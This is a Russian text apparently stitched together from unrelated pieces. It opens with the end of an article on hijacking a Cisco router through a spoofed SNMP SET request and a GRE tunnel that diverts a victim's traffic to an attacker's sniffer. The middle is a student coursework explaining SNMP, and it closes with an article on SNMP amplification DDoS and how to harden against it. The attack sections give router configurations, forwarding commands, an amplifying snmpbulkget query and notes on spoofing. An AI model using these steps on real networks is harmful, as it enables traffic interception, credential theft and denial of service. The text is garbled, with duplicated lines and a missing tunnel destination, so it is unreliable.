• Мы определили имя карты маршрутизации (divert-traffic) и затем использовали команду ‘match’, чтобы указать, что в качестве условия соответствия нужно использовать набор правил доступа 101 (access-list).
• В качестве next-hop адреса мы указали IP адрес атакующего.
• Мы применили карту маршрутизации к внешнему LAN-интерфейсу атакуемой машины. Результатом этого будет слежение за всем входящим и исходящим трафиком Ethernet0/0.

Маршрутизатор хакера

Конфигурация маршрутизатора атакующего чуть сложнее, так как мы должны определить две карты маршрутизации – одну для переправления трафика на компьютер атакующего (sniffer), и другую для отправки трафика обратно на атакуемый маршрутизатор. Очень важно, чтобы мы отправляли туннелированные данные назад на атакуемый маршрутизатор, чтобы атакуемый компьютер (Victim Client) не потерял соединение.

Начнем с создания GRE туннеля на маршрутизаторе атакующего: Attacker(config)# interface tunnel0 Attacker(config-if)# ip address 192.168.10.2 255.255.255.0 Attacker(config-if)# tunnel source Ethernet0/0 Attacker(config-if)# tunnel destination Attacker(config-if)# tunnel mode gre ip Attacker(config)# access-list 101 permit ip any any Attacker(config)# router-map divert-to-sniffer Attacker(config-route-map)# match ip address 101 Attacker(config-route-map)# set ip next-hop 192.168.3.5 Attacker(config-route-map)# exit Attacker(config)# interface tunnel0 Attacker(config-if)# ip policy route-map divert-to-sniffer Эти правила означают следующее:

• Мы создали правило доступа, разрешающее все типы трафика.
• Мы создали карту маршрутизации divert-to-sniffer (эта карта маршрутизации будет перенаправлять туннелированный трафик на сниффер).
• Созданное правило доступа используется в качестве условия соответствия.
• В качестве next-hop адреса мы указали IP адрес атакующего (sniffer).
• Мы применили карту маршрутизации к интерфейсу tunnel0.

Очень важно, что мы используем карту маршрутизации для перенаправления данных. Маршрутизатор получает туннелированные данные, инкапсулированные в GRE пакете, и без декодирования пакета мы не можем их просмотреть. Переправляя полученные пакеты атакующему (sniffer), маршрутизатор передает их как обычные IP пакеты без GRE инкапсуляции.

Наконец, создадим карту маршрутизации и ассоциируем ее с интерфейсом Ethernet0/0:

Attacker(config-if)# route-map divert-out Attacker(config-route-map)# match ip address 101 Attacker(config-route-map)# set ip next-hop 192.168.10.1 Attacker(config-route-map)# exit Attacker(config)# interface ethernet0/0 Attacker(config-if)# ip policy route-map divert-out Эти дополнительные настройки означают следующее:

• После того как атакующий (sniffer) перехватит и переправит туннелированные данные назад, карта маршрутизации divert-out перенаправит трафик обратно на атакуемый маршрутизатор.
• Мы применили карту маршрутизации к Ethernet интерфейсу.

Атакующий (sniffer)

По завершению конфигурирования маршрутизаторов нам нужно настроить компьютер атакующего (sniffer) для перехвата и перенаправления данных. Важно, чтобы компьютер был сконфигурирован на обратное перенаправление пакетов. Для этого можно использовать одну из следующих команд: root@whax:~# echo 1 > /proc/sys/net/ipv4/ip_forward или root@whax:~# fragrouter -B1 Без перенаправления наша атака вызовет отказ от обслуживания (DoS) на атакуемом компьютер и соответственно потеряет смысл.

Начинаем атаку

После того как все настройки будут завершены, все, что нам останется сделать – загрузить новый модифицированный файл конфигурации на атакуемый маршрутизатор. Результатом будет активации GRE туннеля и перенаправление всего трафика из локальной сети атакуемого компьютера к хакеру (sniffer).

Нам нужно создать поддельный SNMP SET запрос, в результате которого маршрутизатор загрузит новый конфигурационный файл и добавит его к текущей конфигурации. Для того чтобы получить базовый пакет мы снова отправим обычный запрос:

Root@whax# ./merge-router-config.pl ###################################################### # Merge Cisco Router config - Using SNMP # Hacked up by muts - [email protected] ####################################################### Usage: ./merge-copy-config.pl Make sure a TFTP server is set up, prefferably running from /tmp ! root@whax# Перехватим этот пакет и изменим обратный IP адрес и некоторые другие поля заголовка пакета, как показано на Рисунке 5.


Рисунок 5. Изменение заголовка пакета.

После отправки модифицированного пакета, будет создано TFTP соединения с нашим компьютером (Рисунок 6).

Рисунок 6. Соединение с TFTP сервером атакующего.

Обратите внимание на TFTP запрос на чтение (пакет №2). Пакет обходит правила доступа SNMP, вследствие чего происходит загрузка и добавление к текущей конфигурации нового модифицированного конфигурационного файла. Отладочная информация атакуемого маршрутизатора дает много интересного о ходе атаки:

*Mar 1 00:32:53.854: SNMP: Set request, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.1.4.12285992 = 1 ccCopyTable.1.5.12285992 = 80.179.76.227 (the address of the TFTP server) ccCopyTable.1.6.12285992 = pwnd-router.config ccCopyTable.1.14.12285992 = 4 *Mar 1 00:32:53.971: SNMP: Response, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.1.4.12285992 = 1 ccCopyTable.1.5.12285992 = 80.179.76.227 (the address of the TFTP server) ccCopyTable.1.6.12285992 = pwnd-router.config ccCopyTable.1.14.12285992 = 4 *Mar 1 00:32:54.291: SNMP: Packet sent via UDP to 192.168.1.5 Заметьте, что адрес TFTP сервера отличается от IP адреса атакующего и передается отдельным параметром. Теперь туннель открыт, готов к работе и может быть представлен в виде диаграммы на Рисунке 7.


Рисунок 7. GRE туннель.

Проверить работоспособность туннеля можно, отослав отладочную команду на маршрутизатор атакующего:

Attacker# debug tunnel *Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242 ->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0) *Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55 -> 212.199.145.242, tos=0x0 *Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242 ->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0) *Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55 -> 212.199.145.242, tos=0x0g all Предположим, атакованный компьютер произвел поиск выражения “GRE Sniffing” в Google, как показано на Рисунке 8.


Рисунок 8. Жертва ищет информацию о GRE туннелях.

В результате этих действий, Ethereal на компьютере атакующего получит пакеты, показанные на Рисунке 9.

Рисунок 9. Сниффер показывает запрос в Google на поиск информации о GRE туннелях.

Кроме использования специализированного сниффера (такого как dsniff) для перехвата паролей, передаваемых открытым текстом, мы можем осуществить сложные атаки класса ‘человек посередине – man-in-the-middle’ на компьютер жертвы. Ettercap – хорошая утилита, позволяющая, кроме перехвата разных типов паролей, организовать атаку ‘человек посередине’ на шифруемые протоколы SSL и SSH. С помощью фильтров Ettercap можно управлять проходящим трафиком и изменять его. Возможности практически бесконечны.

Заключение

Иногда некоторые вещи являются не тем, чем кажутся. Когда имеешь дело с SNMP (или другим протоколами на основе UDP) всегда нужно знать об укромных уголках и трещинах, упущение из виду которых может стать причиной компрометации вашей сети.

В описанном примере, дополнительного правило доступа, явно определяющего адрес TFTP сервера (находящегося на атакованном нами маршрутизаторе) хватило бы, чтобы сорвать атаку.

Скептики могут спросить “Как атакующий узнал о правилах доступа / имени SNMP группы RW?”. Эта информация может быть получена перебором, причем не только имена групп, но и разрешенные IP адреса, и такая утилита уже существует.

Целью статьи было показать не столько эффективность описанной атаки, сколько потенциальные бреши протоколов, основанных на UDP. Это никоим образом не означает, что оборудование Cisco небезопасно. Грамотная конфигурация должна свести на минимум шансы обхода защиты. Ошибки сетевых администраторов – вот основные причины компрометаций оборудования Cisco.

Информация об укреплении защиты маршрутизаторов Cisco может быть найдена на сайте

Описание работы

Особенно остро встает вопрос о надежности и максимальной эффективности функционирования вычислительных сетей. Огромные убытки от сетевых неполадок, приводящих к потере данных, резкому падению производительности, блокировке серверов и другим неприятностям, несут банки, финансовые, транспортные и телекоммуникационные компании. Следовательно, особую актуальность приобретает проблема управления сетью.
Управление сетью - это комплекс мер и мероприятий, направленный на повышение эффективности функционирования сети, обнаружение и устранение сбоев в ее работе, правильное ее развитие и модернизацию, и сокращение затрат в конечном итоге.

ВВЕДЕНИЕ……………………………………………………………………..3


1.2 Логика работы протокола SNMP……………………………………..….12


2.1 Безопасность протокола SNMP (или версии протокола SNMP)……….21
2.2 Принципы настройки протокола SNMP…………………………………23
ЗАКЛЮЧЕНИЕ…………………………………………………………….....26
СПИСОК ЛИТЕРАТУРЫ……………………..…………………………...…27

Файлы: 1 файл

Министерство образования и науки РФ

ФГБОУ ВПО «Челябинский государственный университет»

Институт информационных технологий

Кафедра информационных технологий

КУРСОВАЯ РАБОТА

Протокол SNMP. Методы сетевых атак и защиты

Выполнила студентка

Галиуллина Оксана Кунтуаровна

Факультет ИИТ, группа БИС-201

Научный руководитель:

Косенко Максим Юрьевич

Преподаватель кафедры

информационных технологий

Дата сдачи:_______________

Дата защиты:_____________

Оценка:__________________

Челябинск

ВВЕДЕНИЕ………………………………………………………… …………..3

ГЛАВА I. ОПРЕДЕЛЕНИЕ SNMP…………...………………………………5

1.1 Архитектура протокола SNMP…………………………………………….6

1.2 Логика работы протокола SNMP……………………………………..….12

ГЛАВА II. MIB……………………………………………………………….16

ГЛАВА III. БЕЗОПАСНОСТЬ И НАСТРОЙКА SNMP……………..…….21

2.1 Безопасность протокола SNMP (или версии протокола SNMP)……….21

2.2 Принципы настройки протокола SNMP…………………………………23

ЗАКЛЮЧЕНИЕ…………………………………………………… ……….....26

СПИСОК ЛИТЕРАТУРЫ……………………..………………………… ...…27

ВВЕДЕНИЕ

Деятельность современных организаций тесно связана с использованием информационных технологий, будь то компьютер на рабочем месте менеджера мелкой фирмы или корпоративная сеть крупной компании - системного интегратора. И чем больше организация и чем важнее ее функции, тем выше требования к компьютерным системам, обеспечивающим выполнение этих функций, и тем дороже цена каждого сбоя в работе. Эффективность деятельности компании становится все более и более зависимой от качества работы ее компьютерного и телекоммуникационного оборудования.

Особенно остро встает вопрос о надежности и максимальной эффективности функционирования вычислительных сетей. Огромные убытки от сетевых неполадок, приводящих к потере данных, резкому падению производительности, блокировке серверов и другим неприятностям, несут банки, финансовые, транспортные и телекоммуникационные компании. Следовательно, особую актуальность приобретает проблема управления сетью.

Управление сетью - это комплекс мер и мероприятий, направленный на повышение эффективности функционирования сети, обнаружение и устранение сбоев в ее работе, правильное ее развитие и модернизацию, и сокращение затрат в конечном итоге.

В настоящее время для управления сетями используются приложения, работающие на базе платформ сетевого управления, таких как системы HP OpenView фирмы Hewlett-Packard, NetView for AIX (IBM), SunNet Manager (Sun), Spectrum (Cabletron Systems), NetWare Management Systems (Novell) и другие разнообразные кросс-платформные средства управления.

В основе этих средств лежит использование протокола SNMP (Simple Network Management Protocol). Протокол SNMP предназначен для сбора и передачи служебной информации (status information) между различными компьютерами.

ГЛАВА I. ОПРЕДЕЛЕНИЕ SNMP

SNMP - это протокол из семейства TCP/IP (Протокол SNMP описан в RFC 1157). Первоначально он был разработан Сообществом Интернета (Internet community) для наблюдения и устранения неполадок в маршрутизаторах и мостах (bridges). SNMP позволяет наблюдать и передавать информацию о состоянии:

• компьютеров, работающих под управлением Windows NT;
• серверов LAN Manager;
• маршрутизаторов и шлюзов;
• мини-компьютеров или мэйнфреймов;
• терминальных серверов;
• концентраторов.

SNMP использует распределенную архитектуру, состоящую из систем управления (management systems) и агентов (agents). С помощью сервиса Microsoft SNMP компьютер, работающий под управлением Windows NT, может выдавать отчет о своем состоянии системе управления SNMP в сети, использующей протокол TCP/IP.

Сервис SNMP посылает информацию о состоянии одному или нескольким компьютерам по запросу или в случае, когда происходит важное событие, например компьютеру не хватает места на жестком диске.

1.1 Архитектура протокола SNMP

Сеть, использующая SNMP, для управления содержит три основных компонента:

1. SNMP менеджер - ПО, устанавливаемое на ПК администратора (системы мониторинга)
2. SNMP агент - ПО, запущенное на сетевом узле, за которым осуществляется мониторинг.
3. SNMP MIB - MIB это Management information base. Этот компонент системы обеспечивает структурированность данных, которыми обмениваются агенты и менеджеры. По сути - это некая база данных в виде текстовых фалов.

SNMP менеджер и SNMP агент

Для понимания назначения компонентов, можно сказать, что SNMP менеджер является прослойкой (интерфейсом) между оператором - администратором и сетевым узлом с запущенным SNMP агентом. Так же, можно сказать, что SNMP агент - это интерфейс между SNMP менеджером и железным оборудованием на сетевом узле. Если провести аналогию протокола SNMP с клиент-серверной архитектурой (например, веб-сервера) то веб-сервер работает как служба на некотором порту, а пользователь силами браузера обращается к веб-серверу как клиент. Это четко обозначенная архитектура с выраженным клиентом и сервером. В случае SNMP роли клиента и сервера несколько размыты. Например, SNMP агент является своего рода службой, работающей на устройстве (за которым производится мониторинг) и обрабатывает запросы на определенном порту udp/161, то есть фактически является сервером. А SNMP менеджер является своего рода клиентом, который обращается к серверу SNMP агенту. В SNMP существует т.н. Trap. Это запрос от агента к менеджеру. Точнее даже не запрос, а уведомление. При отправке данного уведомления, агент и менеджер "меняются ролями". То есть, менеджер в таком случае должен являться сервером, работающем на порту udp/162, а агент является клиентом. В последних версиях SNMP trap может именоваться как извещение (notification).

SNMP работает на 7 уровне модели OSI, то есть является службой прикладного уровня. Взаимодействие агента и менеджера на уровне протокола SNMP организуется посредством т.н. пакетов объектов PDU (Protocol Data Unit), которые инкапсулируются в транспортный протокол. Хотя, SNMP поддерживает различные виды транспорта, в 99% случаев используется - UDP. При этом, каждое сообщение PDU содержит определенную команду (на чтение переменной, запись значения переменной, или ответ trap агента). В целом, взаимодействие узлов по SNMP можно представить следующей последовательностью: менеджер->SNMP(PDU)-UDP-IP- Ethernet-IP-UDP-SNMP(PDU)-> агент.

При использовании шифрования в SNMP, по умолчанию используются порт для запросов\ответов udp/10161, а Trap отправляются на udp/10162.

Агенты, работающие на хостах, собирают информацию об устройствах и записывают собранные счетчики в значения переменных в базу данных MIB. Тем самым делая ее доступной для менеджеров.

Рис. 1. Схема взаимодействия SNMP-агент - SNMP-менеджер

SNMP менеджер отправляет запросы агенту на порт udp/161 (если конфигурационно в агенте не задан другой порт) с произвольного порта из эфемерного диапазона. В запросе SNMP менеджера указывается порт и адрес источника. Далее агент принимает пакет и обрабатывает (если выполняются нижеописанные условия). В процессе обработки, формируется ответ, который отправляется на порт, взятый из исходного запроса. Ответ отправляется с udp/161 порта. Можно сказать, что SNMP агент, таким образом, предоставляет доступ SNMP менеджеру к данным, хранящимся в базе MIB. При этом, в момент отправки, SNMP менеджер вставляет в PDU некий ID (RequestID), а агент в ответном PDU вставляет данный ID без изменения, для того чтобы менеджер не путал пакеты от разных агентов. SNMP агент может быть настроен на посылку Trap уведомлений, которую он выполняет с эфемерного порта на udp/162 порт SNMP менеджера.

SNMP PDU (или сообщения SNMP протокола)

Выше я упомянула о единице обмена между узлами SNMP - PDU (Protocol Data Unit), давайте разберем данное понятие. Для обмена между агентом и менеджером используется определенный набор сообщений PDU команд:

• Trap - одностороннее уведомление от SNMP агента –> менеджеру о каком-либо событии.
• GetReponse - ответ от агента к менеджеру, возвращающий запрошенные значения переменных.
• GetRequest - запрос к агенту от менеджера, используемый для получения значения одной или нескольких переменных.
• GetNextRequest - запрос к агенту от менеджера, используемый для получения следующего в иерархии значения переменной.
• SetRequest - запрос к агенту на установку значения одной или нескольких переменных.
• GetBulkRequest – запрос к агенту на получение массива данных (тюнингованная GetNextRequest) . (Этот PDU был введен в SNMPv2.)
• InformRequest – одностороннее уведомление между менеджерами. Может использоваться, например для обмена информацией о MIB (соответствие символьных OID - цифровым). В ответ менеджер формирует аналогичный пакет в подтверждение того, что исходные данные получены. (Этот PDU был введен в SNMPv2.)

Как видно, в зависимости от версии протокола, набор команд разный (например InformRequest и GetB ulkRequestполноценно появился только во второй версии SNMP).

Структура PDU

Рассмотрение структуры PDU не обязательно, но это поможет более глубоко понять логику работы SNMP. Все PDU (кроме Trap) состоят из определенного набора полей, в которые записывается необходимая информация:

Рис. 2. Формат пяти SNMP сообщений, инкапсулированных в UDP датаграмму

Что данные поля обозначают:

• Версия - содержит версию SNMP;
• Пароль (community) - содержит последовательность символов, описывающую принадлежность к группе;
• Тип PDU имеет цифровой идентификатор запроса (Get, GetNext, Set, Responde, Trap…);
• Идентификатор запроса – это тот самый набор символов, который связывает в единое целое запрос/ответ;
• Статус ошибки – это число, характеризующее характер ошибки:
• Для запросов (Get, Set, GetNExt и др.) - 0
• Для ответов:
• 0 (NoError) – Нет ошибок;
• 1 (TooBig) - Объект не вмещается в одно Response сообщение;
• 2 (NoSuchName) – не существующая переменная;
• 3 (BadValue) – при попытке установить значение задано недопустимое значение или совершена синтаксическая ошибка;
• 4 (ReadOnly) – при Set запросе была попытка изменить read-only переменную;
• 5 (GenErr) – другие ошибки.
• Индекс ошибки – содержит некий индекс переменной, к которой относится ошибка;
• Поле связанные переменные может содержать одну или более переменную (для запросов Get – это только имя переменных, для Set – имя и устанавливаемое значение, для Response – имя и запрошенное значение).

При этом, содержимое Trap PDU содержит некоторые дополнительные поля (вместо заголовка запроса):

• Фирма – характеризующее производителя хоста;
• Тип trap уведомления, может быть следующим:
• 0 (Coldstart) и 1 (Warmstart) – объект возвращен в начальное состояние (между ними имеется некая разница, но какая?..);
• 2 (Linkdown) – интерфейс опущен, при этом, поле переменной содержит интерфейс, о котором идет речь;
• 3 (Linkup) – интерфейс поднялся, при этом, поле переменной содержит интерфейс о котором идет речь;
• 4 (Authenticationfailure) – менеджер прислал мессадж с неверной строкой community;
• 5 (EGPneighborloss) – затрудняюсь что либо сказать);
• 6 (Entrprisespecific) – данный тип Trap сообщает о том, что в следующем поле содержится специализированный для данного вендора тип трапа.
• Специализированный тип Trap;
• Метка времени – содержит метку времени с момента события (непонятно, относительно чего эта метка…).

Чтобы сделать свой вклад в защиту от DDoS атак типа , совсем не обязательно покупать дорогостоящее оборудование или сервис. Любой администратор сервера, доступного из интернета, может поучаствовать в столь благородном деле без дополнительных материальных вложений, используя только знания и немного времени.

Так выглядит трафик при SNMP Amplification DDoS атаке.

DDOS атака SNMP Аmplification

Суть атаки заключается в том, чтобы инициировать многократно увеличенный ответ на SNMP-запрос. Изначально разработанные для автоматизации получения табличных данных при минимизации количества отправляемых пакетов BULK-запросы стали довольно эффективным инструментом проведения DDoS-атак в руках злоумышленников. Как гласит RFC3416, GetBulkRequest , реализованный в SNMP версии 2, предназначен для возможности запросить большой объем данных, чем и пользуются атакующие, задействуя неправильно настроенные серверы в интернете.

Если установить максимальное число возвращаемых строк в таблице 20000 и выполнить запрос в адрес неправильно настроенного сервера/устройства:

$ snmpbulkget -c public -v 2c -C r20000 192.168.10.129 ↵ 1.3.6.1

$ snmpbulkget - c public - v 2c - C r20000 192.168.10.129 ↵1.3.6.1

ответ выдаст приблизительно следующее:

iso.3.6.1.2.1.1.1.0 = STRING: "SNMP4J-Agent Windows 2003 x86 5.2" <пропущено 290 строк> iso.3.6.1.6.3.18.1.1.1.8.123.123.12.123.123.12.12.123.123.12 .123.123.12 = No more variables left in this MIB View (It is past the end of the MIB tree)

iso . 3.6.1.2.1.1.1.0 = STRING : "SNMP4J-Agent Windows 2003 x86 5.2" < пропущено290 строк> iso . 3.6.1.6.3.18.1.1.1.8.123.123.12.123.123.12.12.123.123.12 . 123.123.12 = No more variables left in this MIB View (It is past the end of the MIB tree )

При этом запущенный tcpdump покажет размер возвращенного пакета:

21:41:18.185058 IP 192.168.10.128.39565 > 192.168.10.129. snmp: GetBulk(25) N=0 M=20000 .iso.org.dod.internet 21:41:18.603553 IP 192.168.10.129.snmp > 192.168.10.128.39565:

21 : 41 : 18.185058 IP 192.168.10.128.39565 > 192.168.10.129. snmp : GetBulk (25 ) N = 0 M = 20000 . iso . org . dod . internet 21 : 41 : 18.603553 IP 192.168.10.129.snmp > 192.168.10.128.39565 : [ len1468 < asnlen10102 ]

В ответ на запрос размером около 70 байт с учетом заголовков сервер возвращает ответ размером порядка 10 килобайт, то есть почти в 150 раз больше. Коэффициент усиления не фиксирован и может принимать как большее (достигая 1700 раз), так и меньшее значение, в зависимости от типа ОС и параметров конфигурации устройства. Если при формировании подобного запроса использовать подмену IP-адреса отправителя на адрес жертвы и высокую интенсивность обращений к уязвимому серверу, DDoS-атака готова .

Причина возникновения DDoS атак

Суть уязвимости заключается, как правило, не в настройке количества отдаваемых значений на один GetBulkRequest, а в том, что значение SNMP community установлено по умолчанию: public – read-only или, что еще хуже, private – readwrite.

Протокол SNMP версий 1 и 2 основан на UDP, используется для мониторинга и управления, а в качестве аутентификационного параметра доступа к управляемому оборудованию использует значение community , которое может быть задано только для чтения (read-only ) либо с возможностью записи (read-write ). Зачастую в системах при активации сервиса SNMP устанавливается значение по умолчанию – public для read-only и private для read-write.

Даже если абстрагироваться от возможности использования некорректно настроенного сервера в качестве рефлектора для усиления атак SNMP, то очевидна угроза получения информации о сервере, установленном на нем ПО и его версиях при использовании значения public по умолчанию для read-only.

Практически безграничный привилегированный доступ с правами администратора к устройству дает read-write community private. Даже если не будут производиться вредоносные изменения, интенсивные запросы с использованием протокола SNMP могут вызвать значительную нагрузку на вычислительные ресурсы опрашиваемого сервера, чем повлиять на качество предоставляемых им сервисов.

Защита от DDoS атак типа SNMP Amplification

Общие рекомендации для уязвимых к атакам с использованием подмены адреса протоколов на базе UDP предоставлены в BCP38 и RFC2827 и описаны в предыдущих .

• Архитектурное: разрешение обработки запросов только на интерфейсах, недоступных из не доверенных сетей.
• Смена community на более трудно-угадываемое.
• Ограничение IP-адресов управляющих станций.
• Ограничение ветки OID, доступной для получения/изменения по SNMP.
• Минимизация либо отказ от использования community на чтение и запись.
• Переход на SNMP версии 3 с использованием дополнительных параметров аутентификации и шифрования.
• Отключение SNMP, если не используется.

Как выполнить эти действия на разных системах?

Защита от DDoS SNMP Amplification в Unix

В конфигурационном файле сервиса SNMP настраиваются следующие параметры:

# IP-адрес, протокол и порт, принимающий запросы SNMP agentAddress udp:10.0.0.1:161

Если Unix-сервер, по сути, является маршрутизатором и архитектурно имеет несколько интерфейсов, для безопасности необходимо оставить доступным по SNMP только интерфейс, доступный из доверенного сегмента, но не из интернета. Имя community для доступа задается параметром rocommunity (read-only ) либо rwcommunity (read-write ), также возможно задать подсеть, доступ из которой разрешен, и ветку OID, доступную для работы указанной подсети с заданными правами строки community.

Например, для того чтобы разрешить системам мониторинга из подсети 10.0.0.0/24 доступ к информации по интерфейсам (OID 1.3.6.1.2.1.2 ), используя строку доступа MaKe_ It_SeCuRe с правами только для чтения, конфигурационный фрагмент будет выглядеть следующим образом:

rocommunity MaKe_It_SeCuRe 10.0.0.0/24 .1.3.6.1.2.1.2

Но если задача состоит в том, чтобы максимально быстро обеспечить безопасность сервиса snmpd, который до этого был настроен неправильно предшественником, можно создать резервную копию snmpd.conf, в новый конфигурационный файл внести ограничения по подсети систем мониторинга и изменить community. В Debian это будет выглядеть следующим образом:

# cd <директория с snmpd.conf> # mv snmpd.conf snmpd.conf.backup # echo rocommunity MaKe_It_SeCuRe 10.0.0.0/24 > snmpd.conf # /etc/init.d/snmpd restart

# cd <директория с snmpd.conf> # mv snmpd.conf snmpd.conf.backup # echo rocommunity MaKe_It_SeCuRe 10.0.0.0/24 > snmpd.conf # /etc/init.d/snmpd restart

После этого доступ по SNMP к серверу будет только у подсети 10.0.0.0/24 с использованием нового community, при этом все серверы, на которых не изменено community на новое, перестанут получать ответы на запросы, как и злоумышленники.

Более безопасным будет переход на использование SNMPv3, в котором существует возможность варьирования параметров аутентификации. Кроме того, в отличие от версий 1 и 2c SNMPv3 позволяет обеспечить шифрование трафика между системой мониторинга и опрашиваемым оборудованием.

Для создания пользователя с правами только на чтение, аутентификацией и шифрованием трафика в конфигурационный файл snmpd.conf необходимо добавить:

createUser v3user SHA "some_AuThPaSs" AES some_privpass authuser read v3user authpriv 1.3.6.1.2.1.2

createUser v3user SHA "some_AuThPaSs" AES some_privpass authuser read v3user authpriv 1.3.6.1.2.1.2

Соответственно, пользователь v3user получит права read-only для просмотра ветки 1.3.6.1.2.1.2 по SNMP.

Проверить корректность конфигурации можно после рестарта сервиса SNMP на сервере 192.168.10.128 командой, выполненной на клиенте:

$ snmpwalk -v 3 -A some_AuThPaSs -X some_privpass -a SHA ↵ -x AES -u v3user -l authPriv 192.168.10.128 1

$ snmpwalk - v 3 - A some_AuThPaSs - X some_privpass - a SHA ↵- x AES - u v3user - l authPriv 192.168.10.128 1

При этом, несмотря на то что опрашиваться будет все дерево начиная с 1, сервер отдаст только разрешенную ветку 1.3.6.1.2.1.2, которая будет задана в конфигурации.

При отказе от SNMP v1/v2c в пользу SNMPv3 необходимо также удалить из конфигурационного файла фрагменты настройки, не имеющие отношение к SNMPv3.

Если же SNMP для мониторинга сервера не используется, наиболее верным решением будет удаление пакета snmpd.

Защита от DDoS SNMP Amplification на оборудовании Cisco

В Cisco IOS отсутствует возможность выбора интерфейса, который будет обрабатывать запросы SNMP. Ограничение выполняется с помощью списков доступа (access-control list, ACL ). Предположим, разрешенной будет подсеть 10.0.0.0/24 . Создается ACL:

(config)#access-list 10 permit 10.0.0.0 0.0.0.255

Ограничение к веткам SNMP OID применяется с помощью view:

(config)#snmp-server view IFACES 1.3.6.1.2.1.2 included

Для того чтобы использовать SNMPv3 с необходимыми ограничениями (аутентификация и шифрование, только чтение, доступ из подсети 10.0.0.0/24 к ветке интерфейсов, обозначенной во view IFACES), необходимо создать группу (SECURE ) с доступом на чтение только к OID из view IFACES и необходимостью аутентификации с шифрованием, привязав ее к созданному ранее access-list 10:

(config)#snmp-server group SECURE v3 priv read IFACES ↵ access 10

Проверка работоспособности SNMPv3 с вышеописанными настройками производится командой.